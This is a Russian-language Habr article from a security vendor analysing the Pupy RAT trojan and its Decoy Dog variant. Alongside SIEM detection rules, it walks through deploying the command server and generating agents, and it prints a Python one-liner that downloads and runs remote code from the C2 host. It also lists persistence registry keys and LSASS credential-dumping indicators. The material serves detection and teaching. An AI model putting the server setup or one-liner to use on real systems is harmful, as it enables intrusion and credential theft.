Привет, Хабр!
Меня зовут Борис Нестеров, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я хочу рассказать о трояне Pupy Rat, и его модификациях Decoy Dog. Pupy Rat распространяется с помощью социальной инженерии или доставляется в инфраструктуру после компрометации одного из узлов и активно используется хакерскими группировками в атаках на российские компании. По данным различных источников, по меньшей мере 48 российских организаций в разных отраслях экономики пострадали от действий этого трояна. Об этом можно узнать из новостей на сайтах TheHackerNews, CisoClub, а также из других источников.
Давайте подробнее рассмотрим инструмент Pupy и его наиболее интересные функции. Кроме того, мы обсудим способы обнаружения его использования.
Обзор PupyRat
Pupy RAT — это кроссплатформенное, многофункциональное вредоносное ПО для удаленного доступа к узлу «Жертвы». Инструмент используется для постэксплуатации и написан в основном на Python версии 2. Однако некоторые его функции реализованы с помощью библиотек, созданных на языках программирования C и Go.
Этот инструмент работает по принципу «всё в памяти» и почти не оставляет следов в системе, а также имеет множество функций, перечисленных в репозитории GitHub.
В Pupy Rat поддерживаются различные способы соединения, которые называются launcher
:
-
connect
— соединение клиента до сервера; -
bind
— это когда удаленный клиент ожидает подключения от сервера управления. -
auto_proxy
— автоматически выбирает установленную конфигурацию прокси на целевом хосте и осуществляет подключение через него; -
dnscnc
— использование протокола DNS для передачи данных.
Наиболее необычным лаунчером является dnscnc
. Он позволяет клиенту взаимодействовать с командным сервером через DNS-туннелирование.
Рассмотрим пример на изображении ниже. Здесь скомпрометированный хост отправляет в запросе информацию о системе в виде закодированной строки Base64
, разделенной знаком -
. Поскольку в DNS-запросе нельзя использовать символ =
, который используется алгоритмом для заполнения блока, этот символ заменяется на _
.
Pupy Rat использует свой алгоритм кодирования полезной нагрузки. Он приведен в файле dns_encoder.py. и основывается на преобразованиях данных по алгоритму Хаффмана с использованием таблицы кодирования dns_encoder_table.py.
Использование DNS-туннелирования атакующими можно обнаружить путем подсчета количества уникальных запросов к одному родительскому домену.
Под спойлером приведён фрагмент кода детектирующего правила. В этом фрагменте для подсчёта уникальных DNS-запросов используется объект «Активный список», который хранит статистику по различным доменам.
Фрагмент правила «Использование DNS туннеля»
aliases: DNSEvent: filter: !vrl | # Установленный триггер уникальных запросов к домену до наступления корреляционного события TRIGGER_COUNT = 50 isPossibleDNSTunneling = false isExcludeDomain = false # Список исключений для легальных доменов доменов excludeDomain = ["domain.local"] queryName = to_string(.cs1) ?? "" host = to_string(.dvchost) ?? "" queryNameList = split(queryName,".",limit: 2) payload = to_string(queryNameList[0]) parentDomain = queryNameList[1] for_each(excludeDomain) -> |_index, value| { if ( parentDomain == value){ isExcludeDomain = true } } if (!isExcludeDomain) { dns_query = get_active_record("dns_queries_count",{"domain": parentDomain, "host": host}) ?? {} if (dns_query == null) { res, err = add_active_record("dns_queries_count", {"domain": parentDomain, "host": host, "unique" : payload ,"count": 1}) } else { unique_list = to_string(dns_query.unique) ?? "" if (!contains(unique_list, payload)) { dnsRequestCount = (to_int(dns_query.count) ?? 0) + 1 res, err = add_active_record("dns_queries_count", {"domain": parentDomain,"host": host, "unique" : join([unique_list,payload],separator: ";") ?? "", "count": dnsRequestCount}) if (dnsRequestCount == TRIGGER_COUNT) { isPossibleDNSTunneling = true } } } } isPossibleDNSTunneling
После ознакомления с основными особенностями инструмента можем перейти к установке сервера.
Развертывание PupyRat
Установка сервера
Чтобы развернуть сервер управления, вы можете обратиться к инструкции, которая представлена в репозитории Pupy Rat в разделе Wiki. Сервер написан на Python 2 и имеет множество зависимостей в виде устаревших библиотек установка которых может стать нетривиальной задачей. Однако есть более простой способ — использовать готовый Docker образ для развёртывания сервера.
Инструкция по развертыванию сервера в контейнере Docker, а также docker-compose файл доступны в репозитории Github.
Сервер Pupy Rat поддерживает различные способы передачи данных, называемые транспортами. Их список приведен в документации.
По умолчанию, после запуска сервера Pupy Rat
, доступны только SSL-соединения. Для использования нового транспорта на сервере поднимается listen
. Для добавления дополнительного listen
на сервере Pupy Rat требуется выполнить команду:
listen -a {{Имя транспорта}}
Теперь, когда сервер управления запущен, мы можем сгенерировать клиенты и подключить их.
Запуск агента на целевом хосте
Pupy Rat
предлагает широкий выбор клиентов для самых популярных архитектур и операционных систем. Чтобы создать нового клиента, можно воспользоваться командой gen
или скриптом pupygen.py.
На рисунке показан пример создания агента в виде бинарного исполняемого файла для операционной системы Windows с архитектурой x64. Этот агент использует транспорт obfs3 (
протокол для обфускации трафика, активно используется в сетях Tor).
Pupy Rat поддерживает различные виды клиентских агентов: client
, py
, pyinst
, ps1
, ps1_oneliner
, rubber_ducky
, csharp.NET
, .NET_oneliner
.
Для генерации py_oneliner
клиента, использующего транспорт http
и самостоятельно инициирующего соединение к серверу для получения управляющих команд, можем выполнить команду в консоли запущенного сервера:
gen -f py_oneliner -O linux -A x64 connect --host 10.10.10.10:9000 -t http
Сгенерированный клиент py_oneliner выглядит в виде строки Python кода:
python2.7 -c 'import urllib;exec urllib.urlopen("http://10.10.10.10:9000/SEU0v9YFfK/mkI4vvlhEe").read()'
Где:
-
http://10.10.10.10
— адрес, на котором запущен сервер Papy Rat. -
SEU0v9YFfK
— идентификатор сервера, который генерируется при запуске сервера.mkI4vvlhEe
— идентификатор payload, который создается при каждой генерации нового клиента. -
Payload, сгенерированный с типом
py_oneliner
, может использоваться в операционной системе Linux и Windows на неограниченном количестве клиентов.
Данный payload достаточно выполнить на удаленном клиенте с установленным интерпретатором python версии 2.7.При запуске клиента
py_oneliner
загружается с сервераPapy Rat
и исполняется обфусцированный Python-скрипт. Загрузка осуществляется в память, в связи с чем не остается следов в файловой системе.При этом при выполнении команды в логе auditd фиксируется событие системного вызова
execve
, где в поляхa0...an
фиксируется выполненная команда (после нормализации в R-Vision SIEM значение данных полей записывается в полеcmd
).
При запуске скрипта на устройстве с операционной системой Windows фиксируется событие с EventID 4688 (Process Creation) журнала Security
и с EventID 1 (Process Creation) журнала Sysmon/Operational
:
Запуск скрипта можно детектировать по вхождению в поле cmd значений python
или py
, а также использования функции urlopen
библиотеки urllib
. Такие события являются триггером в правилах R-Vision SIEM.
В результате работы правил мы получим оповещение в R-Vision SIEM.
Теперь, когда наш клиент сгенерирован и запущен, мы можем рассмотреть, как им управлять.
Управление клиентами
После подключения клиента к серверу он появляется в списке sessions:
Pupy Rat предоставляет возможность управления как всеми агентами одновременно, так и по отдельности. Для выбора активного агента используется команда:
sessions -i <id session>
Активный агент подсвечивается в меню sessions
более ярко.
Выполнение команд на агенте доступно через команду run:
run {{команда}}
Функционал проведения атак
Сторонние фреймворки
Pupy Rat — это удобный C2-сервер, который включает в себя различные инструменты от сторонних разработчиков. Для его работы используются внешние зависимости:
-
PowerSploit — набор PowerShell инструментов. В Pupy Rat представлен двумя скриптами:
Invoke-ReflectivePEInjection
иPowerView
.Invoke-ReflectivePEInjection
используется для загрузки исполняемого файла dll в процессPowerShell
. -
WinPwnage — это инструмент для операционных систем семейства Windows, который позволяет выполнять методы обхода UAC, повышения привилегий и закрепления.
Использование инструмента в Pupy подробнее рассмотрим ниже. -
LaZagne — это приложение, используемое для получения паролей, хранящихся на локальном компьютере. Пример применения приложения представим ниже.
-
linux-exploit-suggester — скрипт на языке shell для поиска потенциальных уязвимостей в операционной системе Unix и соответствующих им эксплойтов.
-
winpty — это программный пакет для Windows, предоставляющий интерфейс, похожий на
Unix pty-master
, для связи с консольными программами Windows. -
memorpy — утилита позволяет искать и изменять данные процессов, загруженных в память, с использованием библиотеки
ctypes
. Поддерживается операционная система Windows, Linux, MacOS. -
mimipy — утилита для дампа паролей из памяти различных процессов.
-
inveigh — проводит спуфинг-атаки и захват хэшей/учетных данных как с помощью анализа пакетов, так и с помощью специфичных для протокола сокетов.
-
pyopus — кодек для интерактивной передачи речи и звука через Интернет. wesng — утилита поиска уязвимостей, основанная на выводе systeminfo.
-
injector — библиотека для внедрения кода в исполняемой области процесса. Работает с OS Windows, Linux, MacOS.
Функционал фреймворков невозможно описать в рамках одной статьи. Однако мы рассмотрим наиболее распространённые методы, которые используют злоумышленники для получения и расширения привилегий в Pupy Rat.
Закрепление через ключи реестра
Для закрепления в системе при помощи реестра используется инструмент WinPwnage.
Для его удобного использования Pupy Rat предоставляет модуль persistence
.
Для закрепления через реестр используются следующие ключи реестра:
Вы можете обнаружить попытки закрепления через реестр с помощью R-Vision SIEM. Для этого следует использовать правило «Закрепление в системе путём изменения ключей автозапуска в реестре»
, которое выполняет детект через событие RegistryEvent (Value Set) EventID 13 журнала Sysmon/Operational.
На рисунке ниже представлены нормализованные события, связанные с изменением ключей реестра, которые могут указывать на попытки закрепления.
В нормализованном событии в поле filePath
помещается измененный ключ реестра, а в поле cs4
— устанавливаемое значение ключа.
Под спойлером вы найдёте фрагмент кода, который отвечает за детектирование закрепления через реестр. В секции aliases
проверяется, есть ли изменённый ключ реестра в списке ключей, которые используются для закрепления. Если такое соответствие найдено, то генерируется корреляционное событие.
Фрагмент правила «Закрепление в системе путем изменения ключей автозапуска в реестре»
filter: !vrl | .dvendor == "Microsoft" && # Фильтруем событие изменения реестра Sysmon на установление значения реестра (.externalId == "13") aliases: modifty_reg: filter: !vrl | # Ключи реестра используемые для закрепления Pupy # Оргинальное правило содержит более 130 различных ключей реестра которые могут применяться для закрпепления registry_run_keys = [ "\\\\software\\\\wow6432node\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options", "\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options", "\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\winlogon\\\\userinit", "\\\\software\\\\wow6432node\\\\microsoft\\\\windows\\\\currentversion\\\\run", "\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run" ] # Список исключений процессов легитимно использующих реестр для автозапуска exclude_process_list =["\\\\microsoft\\\\edge\\\\application\\\\msedge.exe","\\\\windows\\\\system32\\\\sihost.exe"] isPersistence = false isExcludeProcess = false filePath = downcase(to_string(.filePath) ?? "") dproc = downcase(to_string(.dproc) ?? "") # Проверка соответсвия списку исключений for_each(exclude_process_list) -> |_index, value| { if ends_with(dproc, value){ isExcludeProcess = true } } if (isExcludeProcess != true) { for_each(registry_run_keys) -> |_index, value| { if contains(filePath, value){ isPersistence = true } } } # Ключ реестра DebugPath приложения People (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку) if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.people_", "debuginformation", "debugpath"])) { isPersistence = true } # Ключ реестра DebugPath приложения Cortana (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку) if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.windows.cortana_", "debuginformation", "debugpath"])) { isPersistence = true } isPersistence && !isExcludeProcess
Закрепление через создание сервиса
Pupy Rat поддерживает метод закрепления при помощи Windows Service (метод 12 модуля persistence). Этот метод закрепления можно детектировать, используя событие с EventID 4697 (A service was installed in the system) журнала Security
. Фрагмент события создания сервиса в формате JSON из RQL-песочницы в R-Vision SIEM:
Имя сервиса записывается в значении поля destinationServiceName
, параметры выполнения в значении поля filePath
. Поля suser
, sntdom
, shost
помогают локализовать событие по пользователю и хосту.
О данном событии SIEM-система оповестит благодаря корреляционному правилу «Создан сервис с подозрительными параметрами»
. В правиле проверяется наличие подозрительных параметров при создании сервиса, например, содержащие cmd.exe
или rundll32.exe
. Под спойлером приведен фрагмент правила на языке VRL:
Фрагмент правила «Создан сервис с подозрительными параметрами»
# фильтрация событий 4697 журнала Security filter: !vrl | .dvendor == "Microsoft" && .externalId == "4697" aliases: install_service: filter: !vrl | isSuspect = false # функция math_any проверяет вхождение в соответсвии с регулярным выраженим. Все шаблоны проверяются за один проход по целевой строке, что дает потенциальное преимущество в производительности. if match_any(to_string(downcase(.filePath) ?? "-"), [r'powershell', r'%comspec%', r'echo+.+\\pipe\\', r'^cmd\s', r'cmd\.exe', r'\\temp', r'\\tmp', r'\%temp\%', r'\%tmp\%', r'admin$', r'\\users\\\\public\\', r'\\appdata\\', r'\\perflogs\\',r`rundll32\.exe`]) { isSuspect = true } isSuspect
Закрепление через записи автозагрузки XDG (Linux)
Для операционных систем семейства Linux Pupy Rat использует метод создания конфигурационного файла XDG в директории /home/{{username}}/.config/autostart/
, который маскируется под сервис dbus.
Ниже представлен фрагмент кода, отвечающий за создание конфигурационного файла демона dbus. Описание кода представлено в качестве комментариев на рисунке ниже:
При создании конфигурационного файла генерируется событие auditd с системным вызовом openat
(открытие файла) и с правами на запись в файл в директории autostat
:
R-Vision SIEM зафиксирует закрепление благодаря правилу «Закрепление с использованием записей автозагрузки XDG»
, фрагмент которого приведен на рисунке:
Правило отслеживает добавление или изменение конфигурационных файлов по путям /.config/autostart
и /etc/xdg/autostart
на основе системного вызова openat. Полный код правила под спойлером.
Правило «Закрепление с использованием записей автозагрузки XDG»
id: 6afd1a7c-95d9-43b9-94d8-e4ef38451eca name: Закрепление в системе с использованием записей автозагрузки XDG version: 1.0.0 date: 2024-06-11 author: Nesterov Boris, R-Vision status: stable type: correlation_rule severity: medium description: Атакующие могут добавлять или изменять XDG Autostart Entries (записи автозагрузки XDG) для выполнения вредоносных программ или команд при входе пользователя в систему. XDG Autostart entries используют файлы .desktop для настройки окружающей среды пользователя и определяют какие приложения должны запускаться при входе пользователя. Правило детектирует создание и изменение файлов в директориях, где по умолчанию содержатся записи автозагрузки. В случае сработки правила рекомендуется проверить ПО, указанное в параметре Exec измененного или созданного конфигурационного файла. tags: - linux - Persistence - Privilege Escalation - attack.T1547 - attack.T1547.013 data_source: - Linux - auditd - openat - R-Point - object-access known_false_positives: - "Использование файлов .desktop в директории XDG autostart администраторами системы для автозапуска приложений" - "Установка программного обеспечения, использующего записи XDG для автозапуска" filter: !vrl | .dvendor == "Linux" && .cat == "OA" aliases: oa_autostart: filter: !vrl | filePath = downcase(to_string(.filePath) ?? "-") (contains(filePath, ".config/autostart") || contains(filePath, "/etc/xdg/autostart")) && .filePermission == "w" && contains(filePath, ".desktop") select: alias: oa_autostart throttle_time_sec: 10 ttl: 10 on_correlate: !vrl | .dvchost = to_string(%oa_autostart.dvchost) ?? "-" .duser = to_string(%oa_autostart.duser) ?? "-" .suser = to_string(%oa_autostart.suser) ?? "-" .dproc = to_string(%oa_autostart.dproc) ?? "-" .filePath = to_string(%oa_autostart.filePath) ?? "-" .cmd = to_string(%oa_autostart.cmd) ?? "-" .msg = join(["На хосте", .dvchost, "пользователь", .suser, "изменил или создал файл", .filePath, ", что может быть признаком закрепления в системе через запись XDG"], " ") ?? ""
Повышение привилегий при помощи именованных каналов
Для повышения привилегий в системах с ОС семейства Windows используется инструмент WinPwnage. Данный инструмент позволяет повысить привилегии за счет Named Pipes. В данном методе создается именованный канал от несистемного пользователя, затем происходит подключение пользователя к нему уже с системными правами. Факт создания именного канала регистрируется в событии Pipe created EventID 17 журнала Sysmon/Operational
, а подключение фиксируется в событии Pipe connected EventID 18.
Под спойлером приведен фрагмент правила «Кража токена доступа при помощи именованных каналов»
в R-Vision SIEM, детектирующего данную активность.
Фрагмент правила «Кража токена доступа при помощи именованных каналов»
filter: !vrl | .dvendor == "Microsoft" && includes(["17", "18"], .externalId) aliases: event17: filter: !vrl | .externalId == "17" && (downcase(to_string(.suser) ?? "") != "system" && downcase(to_string(.sntdom) ?? "") != "nt authority") event18: filter: !vrl | .externalId == "18" && (downcase(to_string(.suser) ?? "") == "system" && downcase(to_string(.sntdom) ?? "") == "nt authority") select: alias: event17 join: alias: event18 on: - eq: {event17: .dvchost, event18: .dvchost} - eq: {event17: .cs6, event18: .cs6}
Дамп учетных данных из lsass
Для получения сохранённых учетных данных Pupy Rat использует инструмент LaZagne. Проект LaZagne — это приложение с открытым исходным кодом, используемое для получения списка паролей, хранящихся на локальном компьютере. Инструмент интерпретируется в памяти, не касаясь диска, и он работает на хостах под управлением Windows и Linux. Пример результата работы инструмента:
Инструмент LaZagne использует для доступа к учетным данным функцию MiniDumpWriteDump из библиотеки dbghelp.dll
(метод через comsvcs.dll
), которая характерна маской доступа «0×1478»
к процессу lsass.exe
. Данная маска доступа образовывается в результате суммирования в шестнадцатеричном виде исходных масок для ниже представленных прав:
PROCESS_QUERY_LIMITED_INFORMATION PROCESS_DUP_HANDLE PROCESS_QUERY_INFORMATION PROCESS_VM_OPERATION PROCESS_VM_WRITE PROCESS_VM_READ
Для вызова функции MiniDumpWriteDump
необходимы права PROCESS_QUERY_INFORMATION
и PROCESS_VM_READ
. Обращение к памяти процесса lsass.exe
регистрируется в событии ProcessAccess EventID 10 журнала Sysmon/Operational
. R-Vision SIEM создает оповещение об этом благодаря правилу «Подозрительный доступ к памяти процесса LSASS (Sysmon)».
Правило обрабатывает событие обращения к процессу lsass.exe
. В событии проверяется окончание маски доступа, характерной для чтения памяти процесса. В спойлере приведен фрагмент правила на языке VRL:
Фрагмент правила «Подозрительный доступ к памяти процесса LSASS (Sysmon)»
filter: !vrl | .dvendor == "Microsoft" && (.externalId == "10" && { dproc = downcase(to_string(.dproc) ?? "-"); if contains(dproc, "lsass.exe") { true } else { false } }) aliases: event: filter: !vrl | isEXCEPT = true isACCESSorUNKNOWN = false accessMask = downcase(to_string(.accessMask) ?? "-"); oldFilePath = downcase(to_string(.oldFilePath) ?? "-"); dproc = downcase(to_string(.dproc) ?? "-"); sproc = downcase(to_string(.sproc) ?? "-"); #все уникальные окончания масок доступа, которые может содержать PROCESS_VM_READ access_list = [ "10", "11", "12","13", "18", "19", "1a", "1b", "30", "31", "32", "33", "38", "39", "3a", "3b", "50", "51", "52", "53", "58", "59", "5a", "5b", "70", "71", "72", "73", "78", "79", "7a", "7b", "90", "91", "92", "93", "98", "99", "9a", "9b", "b0", "b1", "b2", "b3", "b8", "b9", "ba", "bb", "d0", "d1", "d2", "d3", "d8", "d9", "da", "db", "f0", "f1", "f2", "f3", "f8", "f9", "fa", "fb", "ff", ] exceptions_list = [ #список исключений для процессов в нижнем регистре ":\\\\program files (x86)\\\\ossec-agent\\\\wazuh-agent.exe", ":\\\\windows\\\\sysmon64.exe", ":\\\\windows\\\\system32\\\\csrss.exe", ":\\\\windows\\\\system32\\\\wininit.exe", ":\\\\windows\\\\system32\\\\svchost.exe", ":\\\\windows\\\\system32\\\\msiexec.exe", ":\\\\program files (x86)\\\\google\\\\update\\\\googleupdate.exe", ":\\\\program files (x86)\\\\kaspersky lab\\\\kes.12.3.0\\\\avp.exe", ":\\\\program files (x86)\\\\kaspersky lab\\\\networkagent\\\\vapm.exe", ":\\\\windows\\\\system32\\\\wbem\\\\wmiprvse.exe", ] for_each(access_list) -> |_index, value| { if ends_with(accessMask, value) { isACCESSorUNKNOWN = true } } for_each(exceptions_list) -> |_index, value| { if contains(sproc, value) { isEXCEPT = false } } isACCESSorUNKNOWN && isEXCEPT
Заключение
В статье мы рассмотрели возможности вредоносного ПО Pupy Rat. Размещение исходного кода в публичном доступе делает этот инструмент доступным для модификации и использования широкому кругу лиц. Так хакеры активно используют в атаках на российские компании модификацию Decoy Dog. Модификация инструмента и применяемые различные способы обфускации помогают обходить статические методы антивирусных решений.
Также анализ показывает, что детектировать использование инструмента можно, отслеживая его воздействие на систему в журналах событий. Задачи по анализу событий с различных источников и получению оперативных оповещений о подозрительной и вредоносной активности может решить продукт R-Vision SIEM, который поставляется с пакетом экспертизы.
Всем спасибо за внимание, буду рад обсудить и ответить на вопросы в комментариях!
MITRE TTPs
ID |
ИМЯ |
ОПИСАНИЕ |
Правило |
Resource Development |
|||
T1587.001 |
Develop Capabilities: Malware |
Использует сторонние модули, а так же предусматривает создание кастомных модулей |
|
Initial Access |
|||
T1059 |
Command and Scripting Interpreter |
Поддерживает удаленное выполнение произвольных команд на агентах |
|
Persistence |
|||
T1543.002 |
Create or Modify System Process: Systemd Service |
Использует механизмы закрепления через Systemd Service |
Изменение сервисов Linux |
T1543.003 |
Create or Modify System Process: Windows Service |
Использует механизмы закрепления через системные сервисы |
Создан сервис с подозрительными параметрами |
T1547.001 |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
Использует механизмы закрепления через реестр и директории автозагрузки |
Закрепление в системе путем изменения ключей автозапуска в реестре, Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки |
T1547.013 |
Boot or Logon Autostart Execution: XDG Autostart Entries |
Использует механизмы закрепления через записи автозагрузки XDG |
Закрепление с использованием записей автозагрузки XDG |
T1546.003 |
Event Triggered Execution: Windows Management Instrumentation Event Subscription |
Использует механизмы закрепления с использованием подписок WMI |
Детектирование создания wmi подписки |
T1053.005 |
Scheduled Task/Job: Scheduled Task |
Использует механизмы закрепления с использованием планировщика задач |
Изменения в планировщике задач |
Privilege Escalation |
|||
T1134.001 |
Access Token Manipulation: Token Impersonation/Theft |
Использует механизмы повышения привилегий через олицетворение токена за счет функции API ImpersonateNamedPipeClient |
Кража токена доступа при помощи именованных каналов |
T1134 |
Access Token Manipulation |
Использует механизмы повышения привилегий до уровня System |
Несистемный процесс повысил привилегии до системных |
Defense Evasion |
|||
T1036.005 |
Masquerading: Match Legitimate Name or Location |
Использует имена легитимных сервисов |
|
T1620 |
Reflective Code Loading |
Загружает интерпретатор Python прямо в память, используя технику reflective DLL |
|
T1027.013 |
Obfuscated Files or Information: Encrypted/Encoded File |
Использует обфусцированный код клиента |
|
Credential Access |
|||
T1003.001 |
OS Credential Dumping: LSASS Memory |
Включает в себя модуль дампа учетных записей из процесс lsass |
Подозрительный доступ к памяти процесса LSASS |
T1555.003 |
Credentials from Password Stores: Credentials from Web Browsers |
Включает в себя модуль дампа учетных записей из браузера |
|
T1555.004 |
Credentials from Password Stores: Windows Credential Manager |
Включает в себя модуль дампа учетных записей из менеджера паролей |
|
T1056.001 |
Input Capture: Keylogging |
Включает в себя модуль кейлогера |
|
Command and Control |
|||
T1105 |
Ingress Tool Transfer |
Поддерживает генерацию клиента для дальнейшей его загрузки через PowerShell или Python |
Загрузка файлов с удаленных ресурсов при помощи стандартных утилит |
T1071.004 |
Application Layer Protocol: DNS |
Использует |
|
T1090.001 |
Proxy: Internal Proxy |
Использует Socks Proxy для проброса портов |
|
Discovery |
|
|
|
T1046 |
Network Service Discovery |
Включает в себя сканер TCP портов |
|
Lateral Movement |
|
|
|
T1021.004 |
Remote Services: SSH |
Имеет встроенный ssh клиент |
|
T1021.001 |
Remote Services: Remote Desktop Protocol |
Имеет встроенный rdp клиент |
|
Collection |
|||
T1113 |
Screen Capture |
Имеет модуль создания скриншотов |
|
ссылка на оригинал статьи https://habr.com/ru/articles/834502/
Добавить комментарий